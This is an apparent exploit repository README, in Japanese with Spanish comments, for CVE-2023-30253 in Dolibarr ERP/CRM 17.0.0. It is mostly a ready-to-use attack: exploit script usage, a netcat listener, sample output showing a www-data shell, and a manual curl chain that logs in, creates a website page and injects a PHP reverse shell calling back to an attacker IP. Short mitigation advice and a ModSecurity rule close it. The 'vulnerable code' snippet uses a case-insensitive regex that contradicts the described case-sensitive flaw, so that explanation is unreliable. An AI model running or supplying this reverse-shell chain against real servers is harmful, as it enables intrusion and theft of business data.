
CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 PHPコードインジェクションによるRCE(教育用エクスプロイト)
Dolibarr ERP/CRM v17.0.0 向けの PHP コードインジェクションエクスプロイトです。Website/CMS モジュールを介して、www-data ユーザーとして リバースシェル を取得できます。
⚠️ 教育目的および許可を得た監査にのみ使用してください。
CVE-2023-30253 は、Dolibarr ERP/CRM 17.0.1 より前のバージョンにおける PHP コードインジェクション(CWE-94: Improper Control of Generation of Code)の脆弱性です。
2023 年 5 月に Swascan(現 Hacktivesecurity)チームによって発見・報告されました。この脆弱性は Website/CMS モジュールに存在し、認証済みユーザーが Dolibarr 内で Web サイトを作成・管理できるようにするものです。
Dolibarr は、ユーザーが Website モジュールのページコンテンツに PHP コードを注入できないようにするフィルターを実装しています。しかし、このフィルターには 重大な欠陥 があります。それは 大文字と小文字を区別する(case-sensitive) ことです。
// Código vulnerable (simplificado) en Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
// Bloquea solo "<?php" en minúsculas exactas... ¿o no?
die("PHP code detected!");
}
フィルターは、小文字の <?php という文字列を文字どおり検索します。しかし PHP では、開始タグに 大文字と小文字の任意の組み合わせ を使用できます。つまり、次のようになります:
エクスプロイトはフィルターをバイパスするために <?PHP(大文字)を使用しますが、どのバリアントでも機能します。
さらに、フィルターはコンテンツを 保存する時点 でのみ適用されます。ページを 配信する 際、Dolibarr は追加のサニタイズなしでコンテンツを PHP インタープリターに渡すため、開始タグ <? が付いたコードはすべて実行されます。
認証済みの攻撃者は以下のことが可能です:
/etc/passwd、設定ファイル)の読み取りなぜクリティカルなのか? Dolibarr は企業の ERP/CRM として使用されています。侵入が発生すると、顧客データ、財務情報、契約書、内部認証情報が漏えいする可能性があります。
このエクスプロイトは、5 つのステップ で完全なエクスプロイトプロセスを自動化します:
┌─────────────────────────────────────────────────────────┐
│ CVE-2023-30253 │
│ │
│ 1. Login → Autenticarse en Dolibarr │
│ 2. Create Website → Crear un sitio web vacío │
│ 3. Create Page → Crear una página en el sitio │
│ 4. Inject Shell → Inyectar PHP reverse shell │
│ 5. Trigger → Ejecutar el payload │
│ │
│ Resultado: 🎯 Shell reversa como www-data │
└─────────────────────────────────────────────────────────┘
特徴:
pageid の自動検出fsockopen + proc_open によるリバースシェルペイロードrequestsbeautifulsoup4または、単に次のコマンドを実行します:
pip install -r requirements.txt
# Clonar el repositorio
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit
# Instalar dependencias
pip install -r requirements.txt
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]
位置引数:
オプション:
| オプション | 説明 |
|---|---|
-v, --verbose | 詳細なデバッグ情報を表示 |
--no-color | 出力の色を無効化 |
-h, --help | ヘルプと例を表示 |
nc -lvnp 4444
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose
════════════════════════════════════════════════════════
CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════
Target: http://crm.board.htb
User: admin
LHOST: 10.10.14.5
LPORT: 4444
Site ID: s3a1f2bc
──────────────────────────────────────────────────
[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12] ✓ Sesión iniciada correctamente
[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13] ✓ Sitio web 's3a1f2bc' creado
[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13] ✓ Página creada dentro del sitio
[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14] ✓ Código PHP inyectado exitosamente
[10:45:14] Paso 5/5: Ejecutando payload (trigger)...
════════════════════════════════════════════════════════
EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════
Trigger URL:
http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc
Instrucciones:
1. En otra terminal, inicia tu listener:
nc -lvnp 4444
2. Accede a la Trigger URL (el exploit ya lo hizo)
3. Recibirás una shell reversa como www-data
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
スクリプトを使わずに手動でプロセスを理解したい場合は、以下が完全なフローです:
# Obtener cookies y token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null
# Extraer token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
# Login
curl -b cookies.txt -c cookies.txt \
-X POST "http://crm.board.htb/index.php?mainmenu=home" \
-d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"
⚠️ 学んだ教訓: 正しい
actionパラメータはaddsiteであり、一部の公開エクスプロイトに記載されているaddではありません。
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?action=createsite" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
-d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"
TOKEN=$(curl -s -b cookies.txt \
"http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
| grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')
PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'
curl -b cookies.txt -X POST \
"http://crm.board.htb/website/index.php" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "action=updatesource" \
--data-urlencode "website=misitio" \
--data-urlencode "PAGE_CONTENT=$PHP"
🔑 攻撃の鍵: 正しいフィールドは
PAGE_CONTENTであり、WEBSITE_CONTENTではありません。多くの公開 PoC にこの誤りがあります。
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"
この脆弱性から Dolibarr サーバーを保護するには:
# Actualizar a Dolibarr 17.0.1 o superior
# El parche corrige el filtro para detectar cualquier variante de <?php
Website/CMS モジュールを使用していない場合は、以下の場所から無効化してください:
Home → Setup → Modules → Website → Desactivar
# Bloquear cualquier variante de etiquetas PHP en el campo PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
"id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"
このプロジェクトは、情報セキュリティの教育および研究目的 で作成されています。明示的な許可なくシステムに対してこのエクスプロイトを使用することは、違法であり倫理的にも非難されるべき行為です。
サイバーセキュリティの専門家として、私は以下を強く信じています:
作成者: Jean Carlos
サイバーセキュリティ学生 | Pentesting | CTF Player
CVE-2021-3560 •
CVE-2023-27163 •
CVE-2024-46986 •
CVE-2025-2304
| 項目 | 値 |
|---|
| CVE | CVE-2023-30253 |
| CVSS v3.1 | 8.8 (HIGH) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| タイプ | CWE-94 — コードインジェクション |
| 影響を受けるソフトウェア | Dolibarr ERP/CRM < 17.0.1 |
| 権限 | 認証済みユーザー(任意のロール) |
| パッチ | Dolibarr 17.0.1 — コミット 4f6055c |
| タグ | フィルターで検出? | PHP で実行? |
|---|
<?php ... ?> | ✅ | ✅ |
<?PHP ... ?> | ❌ | ✅ |
<?Php ... ?> | ❌ | ✅ |
<?pHp ... ?> | ❌ | ✅ |
| 引数 | 説明 | 例 |
|---|
target | Dolibarr のベース URL | http://crm.board.htb |
username | Dolibarr のユーザー名 | admin |
password | Dolibarr のパスワード | admin |
lhost | 自分の IP(シェルを受信する場所) | 10.10.14.5 |
lport | 自分のポート(シェルを受信する場所) | 4444 |